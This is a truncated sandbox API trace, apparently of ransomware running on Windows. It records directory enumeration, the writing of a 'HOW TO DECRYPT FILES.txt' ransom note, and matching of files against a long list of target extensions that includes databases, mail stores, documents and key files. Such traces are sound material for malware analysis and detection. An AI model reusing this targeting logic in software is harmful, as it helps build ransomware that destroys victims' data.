ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0112.209] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0112.209] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x63b204e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x63b204e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x63b204e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.209] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0112.210] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0112.210] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x63b204e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x63b204e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x63b204e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="7e530f5e8b7aa2d04f08ddb9a1597007", cAlternateFileName="7E530F~1")) returned 1 [0112.210] lstrcmpA (lpString1=".", lpString2="7e530f5e8b7aa2d04f08ddb9a1597007") returned -1 [0112.210] lstrcmpA (lpString1="..", lpString2="7e530f5e8b7aa2d04f08ddb9a1597007") returned -1 [0112.210] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SecurityAuditPolici#\\*.*") returned="*.*" [0112.210] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SecurityAuditPolici#\\", lpString2="7e530f5e8b7aa2d04f08ddb9a1597007" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SecurityAuditPolici#\\7e530f5e8b7aa2d04f08ddb9a1597007") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SecurityAuditPolici#\\7e530f5e8b7aa2d04f08ddb9a1597007" [0112.210] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SecurityAuditPolici#\\7e530f5e8b7aa2d04f08ddb9a1597007\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x63b204e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x63b204e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x63b204e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0112.211] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0112.211] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x63b204e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x63b204e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x63b204e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.211] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0112.211] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0112.211] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x311ed631, ftCreationTime.dwHighDateTime=0x1cb8b27, ftLastAccessTime.dwLowDateTime=0x311ed631, ftLastAccessTime.dwHighDateTime=0x1cb8b27, ftLastWriteTime.dwLowDateTime=0xe6972f40, ftLastWriteTime.dwHighDateTime=0x1cb8939, nFileSizeHigh=0x0, nFileSizeLow=0x5c000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="SecurityAuditPoliciesSnapIn.ni.dll", cAlternateFileName="SECURI~1.DLL")) returned 1 [0112.211] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0112.211] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="SecurityAuditPoliciesSnapIn.ni.dll") returned -1 [0112.211] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="SecurityAuditPoliciesSnapIn.ni.dll") returned -1 [0112.211] lstrcmpiA (lpString1="", lpString2="SecurityAuditPoliciesSnapIn.ni.dll") returned -1 [0112.211] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SecurityAuditPolici#\\7e530f5e8b7aa2d04f08ddb9a1597007\\*.*") returned="*.*" [0112.211] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SecurityAuditPolici#\\7e530f5e8b7aa2d04f08ddb9a1597007\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SecurityAuditPolici#\\7e530f5e8b7aa2d04f08ddb9a1597007\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SecurityAuditPolici#\\7e530f5e8b7aa2d04f08ddb9a1597007\\" [0112.211] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SecurityAuditPolici#\\7e530f5e8b7aa2d04f08ddb9a1597007\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SecurityAuditPolici#\\7e530f5e8b7aa2d04f08ddb9a1597007\\") returned="" [0112.211] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SecurityAuditPolici#\\7e530f5e8b7aa2d04f08ddb9a1597007\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SecurityAuditPolici#\\7e530f5e8b7aa2d04f08ddb9a1597007\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SecurityAuditPolici#\\7e530f5e8b7aa2d04f08ddb9a1597007\\HOW TO DECRYPT FILES.txt" [0112.211] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SecurityAuditPolici#\\7e530f5e8b7aa2d04f08ddb9a1597007\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\securityauditpolici#\\7e530f5e8b7aa2d04f08ddb9a1597007\\how to decrypt files.txt")) returned 0xffffffff [0112.212] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SecurityAuditPolici#\\7e530f5e8b7aa2d04f08ddb9a1597007\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\securityauditpolici#\\7e530f5e8b7aa2d04f08ddb9a1597007\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0112.213] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0112.215] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0112.215] CloseHandle (hObject=0x90) returned 1 [0112.215] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SecurityAuditPolici#\\7e530f5e8b7aa2d04f08ddb9a1597007\\", lpString2="SecurityAuditPoliciesSnapIn.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SecurityAuditPolici#\\7e530f5e8b7aa2d04f08ddb9a1597007\\SecurityAuditPoliciesSnapIn.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SecurityAuditPolici#\\7e530f5e8b7aa2d04f08ddb9a1597007\\SecurityAuditPoliciesSnapIn.ni.dll" [0112.215] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SecurityAuditPolici#\\7e530f5e8b7aa2d04f08ddb9a1597007\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.ems") returned 0 [0112.215] lstrlenA (lpString="*.ems") returned 5 [0112.215] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SecurityAuditPolici#\\7e530f5e8b7aa2d04f08ddb9a1597007\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.db") returned 0 [0112.215] lstrlenA (lpString="*.db") returned 4 [0112.215] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SecurityAuditPolici#\\7e530f5e8b7aa2d04f08ddb9a1597007\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.dbf") returned 0 [0112.215] lstrlenA (lpString="*.dbf") returned 5 [0112.215] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SecurityAuditPolici#\\7e530f5e8b7aa2d04f08ddb9a1597007\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.myox") returned 0 [0112.215] lstrlenA (lpString="*.myox") returned 6 [0112.215] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SecurityAuditPolici#\\7e530f5e8b7aa2d04f08ddb9a1597007\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.myo") returned 0 [0112.215] lstrlenA (lpString="*.myo") returned 5 [0112.215] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SecurityAuditPolici#\\7e530f5e8b7aa2d04f08ddb9a1597007\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.qbw") returned 0 [0112.215] lstrlenA (lpString="*.qbw") returned 5 [0112.215] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SecurityAuditPolici#\\7e530f5e8b7aa2d04f08ddb9a1597007\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.qbb") returned 0 [0112.215] lstrlenA (lpString="*.qbb") returned 5 [0112.216] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SecurityAuditPolici#\\7e530f5e8b7aa2d04f08ddb9a1597007\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.qbm") returned 0 [0112.216] lstrlenA (lpString="*.qbm") returned 5 [0112.216] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SecurityAuditPolici#\\7e530f5e8b7aa2d04f08ddb9a1597007\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.qbo") returned 0 [0112.216] lstrlenA (lpString="*.qbo") returned 5 [0112.216] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SecurityAuditPolici#\\7e530f5e8b7aa2d04f08ddb9a1597007\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.qbx") returned 0 [0112.216] lstrlenA (lpString="*.qbx") returned 5 [0112.216] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SecurityAuditPolici#\\7e530f5e8b7aa2d04f08ddb9a1597007\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.qba") returned 0 [0112.216] lstrlenA (lpString="*.qba") returned 5 [0112.216] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SecurityAuditPolici#\\7e530f5e8b7aa2d04f08ddb9a1597007\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.qby") returned 0 [0112.216] lstrlenA (lpString="*.qby") returned 5 [0112.216] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SecurityAuditPolici#\\7e530f5e8b7aa2d04f08ddb9a1597007\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.qbj") returned 0 [0112.216] lstrlenA (lpString="*.qbj") returned 5 [0112.216] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SecurityAuditPolici#\\7e530f5e8b7aa2d04f08ddb9a1597007\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.ofx") returned 0 [0112.216] lstrlenA (lpString="*.ofx") returned 5 [0112.216] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SecurityAuditPolici#\\7e530f5e8b7aa2d04f08ddb9a1597007\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.qif") returned 0 [0112.216] lstrlenA (lpString="*.qif") returned 5 [0112.216] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SecurityAuditPolici#\\7e530f5e8b7aa2d04f08ddb9a1597007\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.mye") returned 0 [0112.216] lstrlenA (lpString="*.mye") returned 5 [0112.216] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SecurityAuditPolici#\\7e530f5e8b7aa2d04f08ddb9a1597007\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.mbox") returned 0 [0112.216] lstrlenA (lpString="*.mbox") returned 6 [0112.216] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SecurityAuditPolici#\\7e530f5e8b7aa2d04f08ddb9a1597007\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.eml") returned 0 [0112.216] lstrlenA (lpString="*.eml") returned 5 [0112.217] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SecurityAuditPolici#\\7e530f5e8b7aa2d04f08ddb9a1597007\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.pst") returned 0 [0112.217] lstrlenA (lpString="*.pst") returned 5 [0112.217] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SecurityAuditPolici#\\7e530f5e8b7aa2d04f08ddb9a1597007\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.ost") returned 0 [0112.217] lstrlenA (lpString="*.ost") returned 5 [0112.217] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SecurityAuditPolici#\\7e530f5e8b7aa2d04f08ddb9a1597007\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.idx") returned 0 [0112.217] lstrlenA (lpString="*.idx") returned 5 [0112.217] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SecurityAuditPolici#\\7e530f5e8b7aa2d04f08ddb9a1597007\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.dbx") returned 0 [0112.217] lstrlenA (lpString="*.dbx") returned 5 [0112.217] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SecurityAuditPolici#\\7e530f5e8b7aa2d04f08ddb9a1597007\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.sql") returned 0 [0112.217] lstrlenA (lpString="*.sql") returned 5 [0112.217] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SecurityAuditPolici#\\7e530f5e8b7aa2d04f08ddb9a1597007\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.mdb") returned 0 [0112.217] lstrlenA (lpString="*.mdb") returned 5 [0112.217] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SecurityAuditPolici#\\7e530f5e8b7aa2d04f08ddb9a1597007\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.fdb") returned 0 [0112.217] lstrlenA (lpString="*.fdb") returned 5 [0112.217] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SecurityAuditPolici#\\7e530f5e8b7aa2d04f08ddb9a1597007\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.wab") returned 0 [0112.217] lstrlenA (lpString="*.wab") returned 5 [0112.217] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SecurityAuditPolici#\\7e530f5e8b7aa2d04f08ddb9a1597007\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.dat") returned 0 [0112.217] lstrlenA (lpString="*.dat") returned 5 [0112.217] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SecurityAuditPolici#\\7e530f5e8b7aa2d04f08ddb9a1597007\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.txt") returned 0 [0112.217] lstrlenA (lpString="*.txt") returned 5 [0112.217] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SecurityAuditPolici#\\7e530f5e8b7aa2d04f08ddb9a1597007\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.jpeg") returned 0 [0112.218] lstrlenA (lpString="*.jpeg") returned 6 [0112.218] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SecurityAuditPolici#\\7e530f5e8b7aa2d04f08ddb9a1597007\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.jpg") returned 0 [0112.218] lstrlenA (lpString="*.jpg") returned 5 [0112.218] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SecurityAuditPolici#\\7e530f5e8b7aa2d04f08ddb9a1597007\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.png") returned 0 [0112.218] lstrlenA (lpString="*.png") returned 5 [0112.218] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SecurityAuditPolici#\\7e530f5e8b7aa2d04f08ddb9a1597007\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.php") returned 0 [0112.218] lstrlenA (lpString="*.php") returned 5 [0112.218] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SecurityAuditPolici#\\7e530f5e8b7aa2d04f08ddb9a1597007\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.cs") returned 0 [0112.218] lstrlenA (lpString="*.cs") returned 4 [0112.218] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SecurityAuditPolici#\\7e530f5e8b7aa2d04f08ddb9a1597007\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.cpp") returned 0 [0112.218] lstrlenA (lpString="*.cpp") returned 5 [0112.218] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SecurityAuditPolici#\\7e530f5e8b7aa2d04f08ddb9a1597007\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.rar") returned 0 [0112.218] lstrlenA (lpString="*.rar") returned 5 [0112.218] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SecurityAuditPolici#\\7e530f5e8b7aa2d04f08ddb9a1597007\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.zip") returned 0 [0112.218] lstrlenA (lpString="*.zip") returned 5 [0112.218] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SecurityAuditPolici#\\7e530f5e8b7aa2d04f08ddb9a1597007\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.html") returned 0 [0112.218] lstrlenA (lpString="*.html") returned 6 [0112.218] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SecurityAuditPolici#\\7e530f5e8b7aa2d04f08ddb9a1597007\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.htm") returned 0 [0112.218] lstrlenA (lpString="*.htm") returned 5 [0112.218] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SecurityAuditPolici#\\7e530f5e8b7aa2d04f08ddb9a1597007\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.xlsx") returned 0 [0112.218] lstrlenA (lpString="*.xlsx") returned 6 [0112.218] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SecurityAuditPolici#\\7e530f5e8b7aa2d04f08ddb9a1597007\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.xls") returned 0 [0112.218] lstrlenA (lpString="*.xls") returned 5 [0112.218] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SecurityAuditPolici#\\7e530f5e8b7aa2d04f08ddb9a1597007\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.mp4") returned 0 [0112.218] lstrlenA (lpString="*.mp4") returned 5 [0112.219] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SecurityAuditPolici#\\7e530f5e8b7aa2d04f08ddb9a1597007\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.ppt") returned 0 [0112.219] lstrlenA (lpString="*.ppt") returned 5 [0112.219] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SecurityAuditPolici#\\7e530f5e8b7aa2d04f08ddb9a1597007\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.pptx") returned 0 [0112.219] lstrlenA (lpString="*.pptx") returned 6 [0112.219] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SecurityAuditPolici#\\7e530f5e8b7aa2d04f08ddb9a1597007\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.doc") returned 0 [0112.219] lstrlenA (lpString="*.doc") returned 5 [0112.219] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SecurityAuditPolici#\\7e530f5e8b7aa2d04f08ddb9a1597007\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.dot") returned 0 [0112.219] lstrlenA (lpString="*.dot") returned 5 [0112.219] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SecurityAuditPolici#\\7e530f5e8b7aa2d04f08ddb9a1597007\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.docx") returned 0 [0112.219] lstrlenA (lpString="*.docx") returned 6 [0112.219] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SecurityAuditPolici#\\7e530f5e8b7aa2d04f08ddb9a1597007\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.7z") returned 0 [0112.219] lstrlenA (lpString="*.7z") returned 4 [0112.219] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SecurityAuditPolici#\\7e530f5e8b7aa2d04f08ddb9a1597007\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.tar") returned 0 [0112.219] lstrlenA (lpString="*.tar") returned 5 [0112.219] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SecurityAuditPolici#\\7e530f5e8b7aa2d04f08ddb9a1597007\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.bz2") returned 0 [0112.219] lstrlenA (lpString="*.bz2") returned 5 [0112.219] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SecurityAuditPolici#\\7e530f5e8b7aa2d04f08ddb9a1597007\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.gz") returned 0 [0112.219] lstrlenA (lpString="*.gz") returned 4 [0112.219] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SecurityAuditPolici#\\7e530f5e8b7aa2d04f08ddb9a1597007\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.mkv") returned 0 [0112.219] lstrlenA (lpString="*.mkv") returned 5 [0112.219] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SecurityAuditPolici#\\7e530f5e8b7aa2d04f08ddb9a1597007\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.eml") returned 0 [0112.219] lstrlenA (lpString="*.eml") returned 5 [0112.219] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SecurityAuditPolici#\\7e530f5e8b7aa2d04f08ddb9a1597007\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.msg") returned 0 [0112.219] lstrlenA (lpString="*.msg") returned 5 [0112.219] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SecurityAuditPolici#\\7e530f5e8b7aa2d04f08ddb9a1597007\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.edb") returned 0 [0112.219] lstrlenA (lpString="*.edb") returned 5 [0112.219] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SecurityAuditPolici#\\7e530f5e8b7aa2d04f08ddb9a1597007\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.accdb") returned 0 [0112.219] lstrlenA (lpString="*.accdb") returned 7 [0112.220] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SecurityAuditPolici#\\7e530f5e8b7aa2d04f08ddb9a1597007\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.odb") returned 0 [0112.220] lstrlenA (lpString="*.odb") returned 5 [0112.220] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SecurityAuditPolici#\\7e530f5e8b7aa2d04f08ddb9a1597007\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.java") returned 0 [0112.220] lstrlenA (lpString="*.java") returned 6 [0112.220] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SecurityAuditPolici#\\7e530f5e8b7aa2d04f08ddb9a1597007\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.asm") returned 0 [0112.220] lstrlenA (lpString="*.asm") returned 5 [0112.220] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SecurityAuditPolici#\\7e530f5e8b7aa2d04f08ddb9a1597007\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.pfx") returned 0 [0112.220] lstrlenA (lpString="*.pfx") returned 5 [0112.220] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SecurityAuditPolici#\\7e530f5e8b7aa2d04f08ddb9a1597007\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.pem") returned 0 [0112.220] lstrlenA (lpString="*.pem") returned 5 [0112.220] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SecurityAuditPolici#\\7e530f5e8b7aa2d04f08ddb9a1597007\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.p12") returned 0 [0112.220] lstrlenA (lpString="*.p12") returned 5 [0112.220] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SecurityAuditPolici#\\7e530f5e8b7aa2d04f08ddb9a1597007\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.gpg") returned 0 [0112.220] lstrlenA (lpString="*.gpg") returned 5 [0112.220] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SecurityAuditPolici#\\7e530f5e8b7aa2d04f08ddb9a1597007\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.vsd") returned 0 [0112.220] lstrlenA (lpString="*.vsd") returned 5 [0112.220] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SecurityAuditPolici#\\7e530f5e8b7aa2d04f08ddb9a1597007\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.odg") returned 0 [0112.220] lstrlenA (lpString="*.odg") returned 5 [0112.220] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\SecurityAuditPolici#\\7e530f5e8b7aa2d04f08ddb9a1597007\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.raw") returned 0 [0112.220] lstrlenA (lpString="*.raw") returned 5 [0112.220] PathMatchSpecA 